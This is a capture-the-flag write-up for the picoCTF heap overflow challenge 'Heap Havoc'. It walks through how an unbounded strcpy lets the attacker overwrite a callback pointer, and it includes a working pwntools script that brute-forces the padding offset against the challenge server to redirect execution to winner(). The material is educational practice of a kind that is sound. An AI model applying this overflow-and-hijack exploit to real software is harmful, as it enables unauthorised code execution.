Heap Havoc Writeup

Here is the exact writeup of how I solved it, step by step, including the tools I used.

Files and tools used

• Files: vuln (3), vuln (3).c
• Tools:
• file
• checksec
• objdump
• python3
• pwntools
• nc

1) Review vulnerability

Source behavior:

• i1->name = malloc(8)
• i2->name = malloc(8)
• strcpy(i1->name, argv[1]) and strcpy(i2->name, argv[2])

Unbounded strcpy allows overflowing from i1->name into i2, including i2->callback.

2) Find winner() address

objdump -d "vuln (3)" | rg "<winner>"

Used:

• winner = 0x080492b6

3) Build overwrite strategy

Goal:

• keep i2->name valid enough for second strcpy
• set i2->callback = winner

Because heap layout can shift, use a short brute-force over padding length.

4) Exploit with pwntools

from pwn import *

win = 0x080492b6
name_ptr = 0x0804c041

for off in range(8, 40):
    io = remote('foggy-cliff.picoctf.net', 50888)
    io.recvuntil(b'space:')
    arg1 = b'A'*off + b'PPPP' + p32(name_ptr) + p32(win)
    arg2 = b'BBBB'
    io.sendline(arg1 + b' ' + arg2)
    out = io.recvrepeat(1)
    if b'picoCTF{' in out:
        print(out.decode('latin-1','replace'))
        break
    io.close()

Working offset in solved run:

• 16

Why it works

Overflow corrupts i2 object fields, callback becomes non-null and points to winner, then if (i2->callback) i2->callback(); executes flag function.

Final flag

picoCTF{<redacted>}